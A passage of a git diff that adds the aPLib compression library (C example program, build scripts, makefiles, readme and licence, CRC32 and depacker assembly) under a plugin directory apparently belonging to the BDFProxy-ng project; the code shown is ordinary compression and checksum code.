0,program:[3,5],follow:[4,1,2],choic:[3,6],softwar:[3,0,4],past:5,"case":5,sphinx:5,process:[2,5],"function":5,engin:4,blame:4,input:[3,1,5],archiv:3,feedback:5,oper:5,keep:3,els:[4,1,2],cpp:5,usual:[3,4],assembl:5,were:5,stdcall:5,simplifi:5,least:5,hopefulli:5,small:[3,5],"\u215e":4,hold:[1,2],our:0,rit:0,match:[3,5],russel:5,old:5,ifndef:4,project:5,vov:5,make_dl:5,make:[3,0,5,6],need:[3,5],eugen:0,you:[3,4,1,5],meg:5,hutchesson:[0,5],vpascal:[0,5],build:5,safeti:5,except:4,"\u215d":4,gave:5,format:[3,5],pov:5,reflect:5,later:5,"char":[1,2],freebsd:5,contact:5,pusher:0,"import":5,output:[3,1,5],certain:5,creat:5,"18b":5,rewritten:5,header:[3,4,1,2,5],boothbi:0,tag:3,reiner:5,handheld:3,tool:5,apsafe_pack:[3,1],occur:[3,1,2],suppli:[3,5],differ:5,macro:5,pure:3,remot:4,djgpp:5,temporari:1,marco:5,pleas:[3,4,5],interfac:[3,5],free:[3,5],lib:5,can:[3,2,5],longer:5,releas:[3,5],still:5,syntax:5,subsystem:5,moment:5,"640k":[3,1,5],wai:[3,5],few:5,jon:5,"10b":5,powerbas:5,run:5,easi:[3,6],just:5,contract:5,thei:[3,1,5],onli:[3,5],ap_max_packed_s:[3,1,5],inputs:5,point:5,alexei:[0,5],mem:5,"20b":5,link:3,clean:5,write:2,which:[3,4,1,2,5],licens:[5,6],most:[3,2,5],chang:5,understand:3,qnx:5,here:5,add:[3,1,5],navig:0,"11b":5,beo:5,base:[3,6],total:5,"catch":3,confus:5,much:5,embed:3,first:[3,1,5],top:3,smaller:5,objconv:[0,5],x64:3,avail:[3,0,2,5,6],product:[3,4,6],revers:4,basic:[3,5],yourself:5,anoth:5,idea:0,fast:[3,5],jame:5,apsafe_check:[2,5],printf:[1,2],damag:4,pointer:[1,2,5],length:[1,2],worst:5,dstlen:2,doe:4,under:5,rearrang:5,continu:[0,1,5],know:4,command:3,binari:5,redistribut:4,have:[3,1,5],document:5,move:5,miracl:0,event:4,paramet:[1,2,5],"16bit":[0,5],research:0,good:0,gautier:[0,5],them:5,gotten:5,system:[3,5],stop:[3,1,5],part:4,shall:4,pre:3,renam:5,argument:1,rewrot:5,goe:4,powerbuild:5,enhanc:5,ap_crc32:2,contain:[3,1,5],merchant:4,provid:[3,4],abus:4,alloc:[3,1,2,5],fulli:5,alwai:[3,1],oleg:[0,5],cleverest:5,hiew:0,better:[3,5],quit:5,risk:4,decompressor:[3,6],space:2,metalbrain:[0,5],those:5,packag:3,jump:5,impli:4,aris:4,"09b":5,requir:[3,1,5],fit:4,ojala:0,common_sens:4,"int":[1,2],latest:[3,5],freeli:0,find:5,been:[3,1,5],modifi:[3,5],librari:[3,4,2,5,6],rock:0,tmt:[0,5],dll:[3,5],doc:5,term:4,pasi:0,suggest:3,upgrad:5,real:5,"08b":5,purpos:4,inform:5,second:[1,5],"07b":5,must:[1,2],given:[3,5],"15b":5,checksum:1,feel:3,friend:0,becaus:[3,5],combin:[3,6],issu:5,enough:[1,2,5],"04b":5,undecor:5,fourth:1,rafael:5,ani:[3,4,5],believ:0,amount:5,"03b":5,win95:5,could:5,littl:5,next:5,handl:3,your:[3,4],about:[3,5],befor:5,orig_s:2,"17b":5,anywai:4,endif:4,condit:5,useabl:3,trevor:5,now:5,fog:[0,5],gener:5,lead:3,home:5,decod:2,wasm:5,larg:[1,2,5],mani:[3,1,6],coff:3,footprint:[3,6],respons:3,four:1,how:[3,1,5],inlin:5,buffer:[3,1,2,5],thx:[0,5],compat:5,"19b":5,mail:3,exit:5,decor:3,nice:3,somewhat:5,apack:[3,5,6],stabl:5,interest:5,"23b":5,veit:[0,5],arche:5,builder:5,period:5,watcom:5,uncompress:1,assum:3,counterpart:3,jurisdict:4,otherwis:5,crash:[3,5],agre:4,"void":[1,2],url:5,page:0,prokhorov:[0,5],reserv:4,found:5,entir:4,attempt:3,regular:3,maximum:[3,1,5],size_t:[1,2],out:[4,5],state:4,prevent:3,weight:[3,6],from:[1,2,5],tasm32:5,johnson:5,even:4,achiev:[3,6],error:[3,1,2,5],heavi:[3,6],potenti:3,storag:1,march:5,ibsensoftwar:[3,4],ap_workmem_s:[3,1,5],dll_asm:5,particular:4,ap_depack_asm_saf:[3,2,5],contrib:5,appropri:3,thread:5,veri:5,track:3,where:[1,2,5],hint:5,more:[4,5],ferri:5,origin:[3,1,2],sheekei:5,bcc32:5,"final":5,bat:5,com:[3,4],greet:0,media:4,"21b":5,stuff:[4,5],wdl:5,valid:3,elli:0,"\u03c9":4,appreci:4,devic:3,hegel:5,altern:[3,6],www:[3,4],destin:[1,2],safe:5,bla:4,produc:5,faster:5,might:5,ap_depack_asm_fast:[3,2,5],"01b":5,appack:5,take:1,liabl:4,multipl:5,inabl:4,crc32:[3,1,2],serv:3,fix:5,"05b":5,code:[3,0,4,1,5],standard:3,resourc:5,content:6,support:5,bug:[3,0,5],revis:5,express:4,abov:4,ahucha:5,recompil:5,mixup:5,retriev:3,memori:[3,1,2,5],"byte":[3,1,2,5,6],"try":5,limit:[4,5],convent:[3,0,5],warranti:4,anakin:5,"\u215c":4,tlink32:5,addit:3,speed:[3,2,5,6],lawrenc:0,bit:[3,5,6],"16b":5,tasm:5,agner:[0,5],workmem:1,data:[3,1,2,5],object:5,aplib_error:[3,1,2,5],"28b":5,improv:5,visit:4,third:1,unneed:5,ap_depack:[3,2],"null":[3,1],help:3},objtypes:{"0":"c:function"},envversion:43,objects:{"":{aP_workmem_size:[1,0,1,"c.aP_workmem_size"],aP_depack_safe:[2,0,1,"c.aP_depack_safe"],aP_crc32:[2,0,1,"c.aP_crc32"],aP_depack:[2,0,1,"c.aP_depack"],aP_depack_asm_safe:[2,0,1,"c.aP_depack_asm_safe"],aPsafe_check:[2,0,1,"c.aPsafe_check"],aP_max_packed_size:[1,0,1,"c.aP_max_packed_size"],aP_depack_asm:[2,0,1,"c.aP_depack_asm"],aPsafe_depack:[2,0,1,"c.aPsafe_depack"],aPsafe_get_orig_size:[2,0,1,"c.aPsafe_get_orig_size"],aPsafe_pack:[1,0,1,"c.aPsafe_pack"],aP_pack:[1,0,1,"c.aP_pack"],aP_depack_asm_fast:[2,0,1,"c.aP_depack_asm_fast"]}},filenames:["acknowledgements","compression","decompression","general","license","changes","index"],titles:["Acknowledgements","Compression","Decompression","General Information","License","Version History","Welcome to the aPLib documentation!"],objnames:{"0":["c","function","C function"]},titleterms:{version:5,welcom:6,thread:3,wrapper:[3,1,2],introduct:3,compat:3,decompress:2,compress:1,acknowledg:0,"function":[3,1,2],safe:[3,1,2],gener:3,exampl:[1,2],contact:3,licens:4,document:6,histori:5,inform:3,aplib:[3,6],safeti:3}}) \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/example/appack.c b/Plugins/BDFProxy-ng/bdf/aPLib/example/appack.c new file mode 100644 index 0000000..50b8efa --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/example/appack.c @@ -0,0 +1,277 @@ +/* + * aPLib compression library - the smaller the better :) + * + * C example + * + * Copyright (c) 1998-2014 Joergen Ibsen + * All Rights Reserved + * + * http://www.ibsensoftware.com/ + */ + +#include +#include +#include +#include +#include + +#include "aplib.h" + +/* + * Calling convention for the callback. + */ +#ifndef CB_CALLCONV +# if defined(AP_DLL) +# define CB_CALLCONV __stdcall +# elif defined(__GNUC__) +# define CB_CALLCONV +# else +# define CB_CALLCONV __cdecl +# endif +#endif + +/* + * Unsigned char type. + */ +typedef unsigned char byte; + +/* + * Compute ratio between two numbers. + */ +static unsigned int ratio(unsigned int x, unsigned int y) +{ + if (x <= UINT_MAX / 100) { + x *= 100; + } + else { + y /= 100; + } + + if (y == 0) { + y = 1; + } + + return x / y; +} + +/* + * Compression callback. + */ +int CB_CALLCONV callback(unsigned int insize, unsigned int inpos, + unsigned int outpos, void *cbparam) +{ + (void) cbparam; + + printf("\rcompressed %u -> %u bytes (%u%% done)", inpos, outpos, + ratio(inpos, insize)); + + return 1; +} + +/* + * Compress a file. + */ +static int compress_file(const char *oldname, const char *packedname) +{ + FILE *oldfile; + FILE *packedfile; + unsigned int insize, outsize; + clock_t clocks; + byte *data, *packed, *workmem; + + /* open input file */ + if ((oldfile = fopen(oldname, "rb")) == NULL) { + printf("\nERR: unable to open input file\n"); + return 1; + } + + /* get size of input file */ + fseek(oldfile, 0, SEEK_END); + insize = (unsigned int) ftell(oldfile); + fseek(oldfile, 0, SEEK_SET); + + /* allocate memory */ + if ((data = (byte *) malloc(insize)) == NULL || + (packed = (byte *) malloc(aP_max_packed_size(insize))) == NULL || + (workmem = (byte *) malloc(aP_workmem_size(insize))) == NULL) { + printf("\nERR: not enough memory\n"); + return 1; + } + + if (fread(data, 1, insize, oldfile) != insize) { + printf("\nERR: error reading from input file\n"); + return 1; + } + + clocks = clock(); + + /* compress data block */ + outsize = aPsafe_pack(data, packed, insize, workmem, callback, NULL); + + clocks = clock() - clocks; + + /* check for compression error */ + if (outsize == APLIB_ERROR) { + printf("\nERR: an error occured while compressing\n"); + return 1; + } + + /* create output file */ + if ((packedfile = fopen(packedname, "wb")) == NULL) { + printf("\nERR: unable to create output file\n"); + return 1; + } + + fwrite(packed, 1, outsize, packedfile); + + /* show result */ + printf("\rCompressed %u -> %u bytes (%u%%) in %.2f seconds\n", + insize, outsize, ratio(outsize, insize), + (double) clocks / (double) CLOCKS_PER_SEC); + + /* close files */ + fclose(packedfile); + fclose(oldfile); + + /* free memory */ + free(workmem); + free(packed); + free(data); + + return 0; +} + +/* + * Decompress a file. + */ +static int decompress_file(const char *packedname, const char *newname) +{ + FILE *newfile; + FILE *packedfile; + unsigned int insize, outsize; + clock_t clocks; + byte *data, *packed; + unsigned int depackedsize; + + /* open input file */ + if ((packedfile = fopen(packedname, "rb")) == NULL) { + printf("\nERR: unable to open input file\n"); + return 1; + } + + /* get size of input file */ + fseek(packedfile, 0, SEEK_END); + insize = (unsigned int) ftell(packedfile); + fseek(packedfile, 0, SEEK_SET); + + /* allocate memory */ + if ((packed = (byte *) malloc(insize)) == NULL) { + printf("\nERR: not enough memory\n"); + return 1; + } + + if (fread(packed, 1, insize, packedfile) != insize) { + printf("\nERR: error reading from input file\n"); + return 1; + } + + depackedsize = aPsafe_get_orig_size(packed); + + if (depackedsize == APLIB_ERROR) { + printf("\nERR: compressed data error\n"); + return 1; + } + + /* allocate memory */ + if ((data = (byte *) malloc(depackedsize)) == NULL) { + printf("\nERR: not enough memory\n"); + return 1; + } + + clocks = clock(); + + /* decompress data */ + outsize = aPsafe_depack(packed, insize, data, depackedsize); + + clocks = clock() - clocks; + + /* check for decompression error */ + if (outsize != depackedsize) { + printf("\nERR: an error occured while decompressing\n"); + return 1; + } + + /* create output file */ + if ((newfile = fopen(newname, "wb")) == NULL) { + printf("\nERR: unable to create output file\n"); + return 1; + } + + /* write decompressed data */ + fwrite(data, 1, outsize, newfile); + + /* show result */ + printf("Decompressed %u -> %u bytes in %.2f seconds\n", + insize, outsize, + (double) clocks / (double) CLOCKS_PER_SEC); + + /* close files */ + fclose(packedfile); + fclose(newfile); + + /* free memory */ + free(packed); + free(data); + + return 0; +} + +/* + * Show program syntax. + */ +static void show_syntax(void) +{ + printf(" Syntax:\n\n" + " Compress : appack c \n" + " Decompress : appack d \n\n"); +} + +/* + * Main. + */ +int main(int argc, char *argv[]) +{ + /* show banner */ + printf("appack, aPLib compression library example\n" + "Copyright 1998-2014 Joergen Ibsen (www.ibsensoftware.com)\n\n"); + + /* check number of arguments */ + if (argc != 4) { + show_syntax(); + return 1; + } + +#ifdef __WATCOMC__ + /* OpenWatcom 1.2 line buffers stdout, so we unbuffer stdout manually + to make the progress indication in the callback work. + */ + setbuf(stdout, NULL); +#endif + + /* check first character of first argument to determine action */ + if (argv[1][0] && argv[1][1] == '\0') { + switch (argv[1][0]) { + /* compress file */ + case 'c': + case 'C': return compress_file(argv[2], argv[3]); + + /* decompress file */ + case 'd': + case 'D': return decompress_file(argv[2], argv[3]); + } + } + + /* show program syntax */ + show_syntax(); + return 1; +} diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/example/make_bcc.bat b/Plugins/BDFProxy-ng/bdf/aPLib/example/make_bcc.bat new file mode 100644 index 0000000..2c41c96 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/example/make_bcc.bat @@ -0,0 +1,5 @@ +@ECHO OFF +ECHO --- Building aPLib Borland C/C++ example --- +ECHO. + +bcc32 -I..\lib\omf appack.c ..\lib\omf\aplib.lib -eappack.exe diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/example/make_dll.bat b/Plugins/BDFProxy-ng/bdf/aPLib/example/make_dll.bat new file mode 100644 index 0000000..df63ce0 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/example/make_dll.bat @@ -0,0 +1,8 @@ +@ECHO OFF +ECHO --- Building aPLib Visual C/C++ DLL example --- +ECHO. + +cl /nologo /O2 /I..\lib\dll /DAP_DLL appack.c ..\lib\dll\aplib.lib + +ECHO. +ECHO Remember to copy APLIB.DLL here before running. diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/example/make_pc.bat b/Plugins/BDFProxy-ng/bdf/aPLib/example/make_pc.bat new file mode 100644 index 0000000..5e4d2fc --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/example/make_pc.bat @@ -0,0 +1,5 @@ +@ECHO OFF +ECHO --- Building aPLib Pelles C example --- +ECHO. + +cc /Ot /I..\lib\coff appack.c ..\lib\coff\aplib.lib diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/example/make_vc.bat b/Plugins/BDFProxy-ng/bdf/aPLib/example/make_vc.bat new file mode 100644 index 0000000..69a32b9 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/example/make_vc.bat @@ -0,0 +1,5 @@ +@ECHO OFF +ECHO --- Building aPLib Visual C/C++ example --- +ECHO. + +cl /nologo /O2 /I..\lib\coff appack.c ..\lib\coff\aplib.lib diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/example/make_wat.bat b/Plugins/BDFProxy-ng/bdf/aPLib/example/make_wat.bat new file mode 100644 index 0000000..d142a2b --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/example/make_wat.bat @@ -0,0 +1,5 @@ +@ECHO OFF +ECHO --- Building aPLib Watcom C/C++ example --- +ECHO. + +wcl386 /oneax /oe /oh /5r /zc -zld /i=..\lib\omf appack.c /"library ..\lib\omf\aplib" diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.cyg b/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.cyg new file mode 100644 index 0000000..ea24226 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.cyg @@ -0,0 +1,29 @@ +## +## aPLib compression library - the smaller the better :) +## +## Cygwin GCC makefile +## +## Copyright (c) 1998-2014 Joergen Ibsen +## All Rights Reserved +## + +target = appack.exe +objects = appack.o + +cflags = -Wall -O2 -s -mno-cygwin +ldflags = $(cflags) +incdir = ../lib/coff +libs = $(incdir)/aplib.lib + +.PHONY: all clean + +all: $(target) + +$(target): $(objects) + gcc $(ldflags) -o $@ $^ $(libs) + +%.o : %.c + gcc -c -I$(incdir) $(cflags) -o $@ $< + +clean: + $(RM) $(objects) $(target) diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.elf b/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.elf new file mode 100644 index 0000000..63864f9 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.elf @@ -0,0 +1,29 @@ +## +## aPLib compression library - the smaller the better :) +## +## GCC makefile (Linux, FreeBSD, BeOS and QNX) +## +## Copyright (c) 1998-2014 Joergen Ibsen +## All Rights Reserved +## + +target = appack +objects = appack.o + +cflags = -Wall -O2 -s +ldflags = $(cflags) +incdir = ../lib/elf +libs = $(incdir)/aplib.a + +.PHONY: all clean + +all: $(target) + +$(target): $(objects) + gcc $(ldflags) -o $@ $^ $(libs) + +%.o : %.c + gcc -c -I$(incdir) $(cflags) -o $@ $< + +clean: + $(RM) $(objects) $(target) diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.macho b/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.macho new file mode 100644 index 0000000..8d661e6 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.macho @@ -0,0 +1,29 @@ +## +## aPLib compression library - the smaller the better :) +## +## GCC makefile (Linux, FreeBSD, BeOS and QNX) +## +## Copyright (c) 1998-2014 Joergen Ibsen +## All Rights Reserved +## + +target = appack +objects = appack.o + +cflags = -Wall -O2 +ldflags = $(cflags) +incdir = ../lib/macho64 +libs = $(incdir)/aplib.a + +.PHONY: all clean + +all: $(target) + +$(target): $(objects) + gcc $(ldflags) -o $@ $^ $(libs) + +%.o : %.c + gcc -c -I$(incdir) $(cflags) -o $@ $< + +clean: + $(RM) $(objects) $(target) diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.mgw b/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.mgw new file mode 100644 index 0000000..a643715 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/example/makefile.mgw @@ -0,0 +1,29 @@ +## +## aPLib compression library - the smaller the better :) +## +## MinGW GCC makefile +## +## Copyright (c) 1998-2014 Joergen Ibsen +## All Rights Reserved +## + +target = appack.exe +objects = appack.o + +cflags = -Wall -O2 -s +ldflags = $(cflags) +incdir = ../lib/coff +libs = $(incdir)/aplib.lib + +.PHONY: all clean + +all: $(target) + +$(target): $(objects) + gcc $(ldflags) -o $@ $^ $(libs) + +%.o : %.c + gcc -c -I$(incdir) $(cflags) -o $@ $< + +clean: + $(RM) $(objects) $(target) diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/readme.txt b/Plugins/BDFProxy-ng/bdf/aPLib/readme.txt new file mode 100644 index 0000000..8e6d27b --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/readme.txt @@ -0,0 +1,72 @@ + + + ______ ______ ____ ______ ____ + _\__ /_ _\ /_ _\ /___ _\____/ _\ /___ + / // / // / // /___ / / + / / // / // / // / // / / + /_ / //_ ___//_ / //_ / //_ / / + /______\ /___\ /______\ /______\ /______\ + -= t h e s m a l l e r t h e b e t t e r =- + + Copyright (c) 1998-2014 Joergen Ibsen, All Rights Reserved + + http://www.ibsensoftware.com/ + + + +About +----- + +aPLib is a compression library based on the algorithm used in aPACK (my +16-bit executable packer). aPLib is an easy-to-use alternative to many of the +heavy-weight compression libraries available. + +The compression ratios achieved by aPLib combined with the speed and tiny +footprint of the depackers (as low as 169 bytes!) makes it the ideal choice +for many products. + +Please read the documentation file 'doc/aPLib.chm' or +'doc/html/index.html'. + + + +License +------- + +aPLib is freeware. If you use aPLib in a product, an acknowledgement would be +appreciated, e.g. by adding something like the following to the documentation: + + This product uses the aPLib compression library, + Copyright (c) 1998-2014 Joergen Ibsen, All Rights Reserved. + For more information, please visit: http://www.ibsensoftware.com/ + +You may not redistribute aPLib without all of the files. + +You may not edit or reverse engineer any of the files (except the header files +and the decompression code, which you may edit as long as you do not remove +the copyright notice). + +You may not sell aPLib, or any part of it, for money (except for charging for +the media). + + #ifndef COMMON_SENSE + + This software is provided "as is". In no event shall I, the author, be + liable for any kind of loss or damage arising out of the use, abuse or + the inability to use this software. USE IT ENTIRELY AT YOUR OWN RISK! + + This software comes without any kind of warranty, either expressed or + implied, including, but not limited to the implied warranties of + merchantability or fitness for any particular purpose. + + If you do not agree with these terms or if your jurisdiction does not + allow the exclusion of warranty and liability as stated above you are + NOT allowed to use this software at all. + + #else + + Bla bla bla .. the usual stuff - you know it anyway: + + If anything goes even remotely wrong - blame _yourself_, NOT me! + + #endif diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/crc32.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/crc32.asm new file mode 100644 index 0000000..a7ac606 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/crc32.asm @@ -0,0 +1,169 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm assembler crc32 +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +; CRC32 calculation taken from the zlib source, which is +; Copyright (C) 1995-1998 Jean-loup Gailly and Mark Adler + +format MS COFF + +public aP_crc32 as '_aP_crc32' + +; ============================================================= + +macro docrcM +{ + mov ebx, 0x000000ff + and ebx, eax + shr eax, 8 + xor eax, [edi+ebx*4] +} + +macro docrcbyteM +{ + xor al, [esi] + inc esi + docrcM +} + +macro docrcdwordM +{ + xor eax, [esi] + add esi, 4 + docrcM + docrcM + docrcM + docrcM +} + +; ============================================================= + +section '.text' code readable executable + +aP_crc32: + ; aP_crc32(const void *source, unsigned int length) + + .ret$ equ 7*4 + .src$ equ 8*4 + 4 + .len$ equ 8*4 + 8 + + pushad + + mov esi, [esp + .src$] ; esi -> buffer + mov ecx, [esp + .len$] ; ecx = length + mov edi, aP_crctab ; edi -> crctab + + sub eax, eax + + test esi, esi + jz .c_exit + + sub eax, 1 + + test ecx, ecx + jz .c_done + + .c_align_loop: + test esi, 3 + jz .c_aligned_now + docrcbyteM + dec ecx + jnz .c_align_loop + + .c_aligned_now: + mov edx, ecx + and edx, 7 + shr ecx, 3 + jz .c_LT_eight + + .c_next_eight: + docrcdwordM + docrcdwordM + dec ecx + jnz .c_next_eight + + .c_LT_eight: + mov ecx, edx + test ecx, ecx + jz .c_done + + .c_last_loop: + docrcbyteM + dec ecx + jnz .c_last_loop + + .c_done: + not eax + + .c_exit: + mov [esp + .ret$], eax ; return crc32 in eax + + popad + + ret + +; ============================================================= + +section '.rdata' data readable + +aP_crctab dd 000000000h, 077073096h, 0ee0e612ch, 0990951bah, 0076dc419h + dd 0706af48fh, 0e963a535h, 09e6495a3h, 00edb8832h, 079dcb8a4h + dd 0e0d5e91eh, 097d2d988h, 009b64c2bh, 07eb17cbdh, 0e7b82d07h + dd 090bf1d91h, 01db71064h, 06ab020f2h, 0f3b97148h, 084be41deh + dd 01adad47dh, 06ddde4ebh, 0f4d4b551h, 083d385c7h, 0136c9856h + dd 0646ba8c0h, 0fd62f97ah, 08a65c9ech, 014015c4fh, 063066cd9h + dd 0fa0f3d63h, 08d080df5h, 03b6e20c8h, 04c69105eh, 0d56041e4h + dd 0a2677172h, 03c03e4d1h, 04b04d447h, 0d20d85fdh, 0a50ab56bh + dd 035b5a8fah, 042b2986ch, 0dbbbc9d6h, 0acbcf940h, 032d86ce3h + dd 045df5c75h, 0dcd60dcfh, 0abd13d59h, 026d930ach, 051de003ah + dd 0c8d75180h, 0bfd06116h, 021b4f4b5h, 056b3c423h, 0cfba9599h + dd 0b8bda50fh, 02802b89eh, 05f058808h, 0c60cd9b2h, 0b10be924h + dd 02f6f7c87h, 058684c11h, 0c1611dabh, 0b6662d3dh, 076dc4190h + dd 001db7106h, 098d220bch, 0efd5102ah, 071b18589h, 006b6b51fh + dd 09fbfe4a5h, 0e8b8d433h, 07807c9a2h, 00f00f934h, 09609a88eh + dd 0e10e9818h, 07f6a0dbbh, 0086d3d2dh, 091646c97h, 0e6635c01h + dd 06b6b51f4h, 01c6c6162h, 0856530d8h, 0f262004eh, 06c0695edh + dd 01b01a57bh, 08208f4c1h, 0f50fc457h, 065b0d9c6h, 012b7e950h + dd 08bbeb8eah, 0fcb9887ch, 062dd1ddfh, 015da2d49h, 08cd37cf3h + dd 0fbd44c65h, 04db26158h, 03ab551ceh, 0a3bc0074h, 0d4bb30e2h + dd 04adfa541h, 03dd895d7h, 0a4d1c46dh, 0d3d6f4fbh, 04369e96ah + dd 0346ed9fch, 0ad678846h, 0da60b8d0h, 044042d73h, 033031de5h + dd 0aa0a4c5fh, 0dd0d7cc9h, 05005713ch, 0270241aah, 0be0b1010h + dd 0c90c2086h, 05768b525h, 0206f85b3h, 0b966d409h, 0ce61e49fh + dd 05edef90eh, 029d9c998h, 0b0d09822h, 0c7d7a8b4h, 059b33d17h + dd 02eb40d81h, 0b7bd5c3bh, 0c0ba6cadh, 0edb88320h, 09abfb3b6h + dd 003b6e20ch, 074b1d29ah, 0ead54739h, 09dd277afh, 004db2615h + dd 073dc1683h, 0e3630b12h, 094643b84h, 00d6d6a3eh, 07a6a5aa8h + dd 0e40ecf0bh, 09309ff9dh, 00a00ae27h, 07d079eb1h, 0f00f9344h + dd 08708a3d2h, 01e01f268h, 06906c2feh, 0f762575dh, 0806567cbh + dd 0196c3671h, 06e6b06e7h, 0fed41b76h, 089d32be0h, 010da7a5ah + dd 067dd4acch, 0f9b9df6fh, 08ebeeff9h, 017b7be43h, 060b08ed5h + dd 0d6d6a3e8h, 0a1d1937eh, 038d8c2c4h, 04fdff252h, 0d1bb67f1h + dd 0a6bc5767h, 03fb506ddh, 048b2364bh, 0d80d2bdah, 0af0a1b4ch + dd 036034af6h, 041047a60h, 0df60efc3h, 0a867df55h, 0316e8eefh + dd 04669be79h, 0cb61b38ch, 0bc66831ah, 0256fd2a0h, 05268e236h + dd 0cc0c7795h, 0bb0b4703h, 0220216b9h, 05505262fh, 0c5ba3bbeh + dd 0b2bd0b28h, 02bb45a92h, 05cb36a04h, 0c2d7ffa7h, 0b5d0cf31h + dd 02cd99e8bh, 05bdeae1dh, 09b64c2b0h, 0ec63f226h, 0756aa39ch + dd 0026d930ah, 09c0906a9h, 0eb0e363fh, 072076785h, 005005713h + dd 095bf4a82h, 0e2b87a14h, 07bb12baeh, 00cb61b38h, 092d28e9bh + dd 0e5d5be0dh, 07cdcefb7h, 00bdbdf21h, 086d3d2d4h, 0f1d4e242h + dd 068ddb3f8h, 01fda836eh, 081be16cdh, 0f6b9265bh, 06fb077e1h + dd 018b74777h, 088085ae6h, 0ff0f6a70h, 066063bcah, 011010b5ch + dd 08f659effh, 0f862ae69h, 0616bffd3h, 0166ccf45h, 0a00ae278h + dd 0d70dd2eeh, 04e048354h, 03903b3c2h, 0a7672661h, 0d06016f7h + dd 04969474dh, 03e6e77dbh, 0aed16a4ah, 0d9d65adch, 040df0b66h + dd 037d83bf0h, 0a9bcae53h, 0debb9ec5h, 047b2cf7fh, 030b5ffe9h + dd 0bdbdf21ch, 0cabac28ah, 053b39330h, 024b4a3a6h, 0bad03605h + dd 0cdd70693h, 054de5729h, 023d967bfh, 0b3667a2eh, 0c4614ab8h + dd 05d681b02h, 02a6f2b94h, 0b40bbe37h, 0c30c8ea1h, 05a05df1bh + dd 02d02ef8dh + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depack.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depack.asm new file mode 100644 index 0000000..33b99ac --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depack.asm @@ -0,0 +1,136 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm assembler depacker +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS COFF + +public aP_depack_asm as '_aP_depack_asm' + +; ============================================================= + +section '.text' code readable executable + +aP_depack_asm: + ; aP_depack_asm(const void *source, void *destination) + + _ret$ equ 7*4 + _src$ equ 8*4 + 4 + _dst$ equ 8*4 + 8 + + pushad + + mov esi, [esp + _src$] ; C calling convention + mov edi, [esp + _dst$] + + cld + mov dl, 80h + xor ebx,ebx + +literal: + movsb + mov bl, 2 +nexttag: + call getbit + jnc literal + + xor ecx, ecx + call getbit + jnc codepair + xor eax, eax + call getbit + jnc shortmatch + mov bl, 2 + inc ecx + mov al, 10h + .getmorebits: + call getbit + adc al, al + jnc .getmorebits + jnz domatch + stosb + jmp nexttag +codepair: + call getgamma_no_ecx + sub ecx, ebx + jnz normalcodepair + call getgamma + jmp domatch_lastpos + +shortmatch: + lodsb + shr eax, 1 + jz donedepacking + adc ecx, ecx + jmp domatch_with_2inc + +normalcodepair: + xchg eax, ecx + dec eax + shl eax, 8 + lodsb + call getgamma + + cmp eax, 32000 + jae domatch_with_2inc + cmp ah, 5 + jae domatch_with_inc + cmp eax, 7fh + ja domatch_new_lastpos + +domatch_with_2inc: + inc ecx + +domatch_with_inc: + inc ecx + +domatch_new_lastpos: + xchg eax, ebp +domatch_lastpos: + mov eax, ebp + + mov bl, 1 + +domatch: + push esi + mov esi, edi + sub esi, eax + rep movsb + pop esi + jmp nexttag + +getbit: + add dl, dl + jnz .stillbitsleft + mov dl, [esi] + inc esi + adc dl, dl + .stillbitsleft: + ret + +getgamma: + xor ecx, ecx +getgamma_no_ecx: + inc ecx + .getgammaloop: + call getbit + adc ecx, ecx + call getbit + jc .getgammaloop + ret + +donedepacking: + sub edi, [esp + _dst$] + mov [esp + _ret$], edi ; return unpacked length in eax + + popad + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depackf.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depackf.asm new file mode 100644 index 0000000..bfc29c1 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depackf.asm @@ -0,0 +1,171 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm fast assembler depacker +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS COFF + +public aP_depack_asm_fast as '_aP_depack_asm_fast' + +; ============================================================= + +macro getbitM +{ + local .stillbitsleft + add dl, 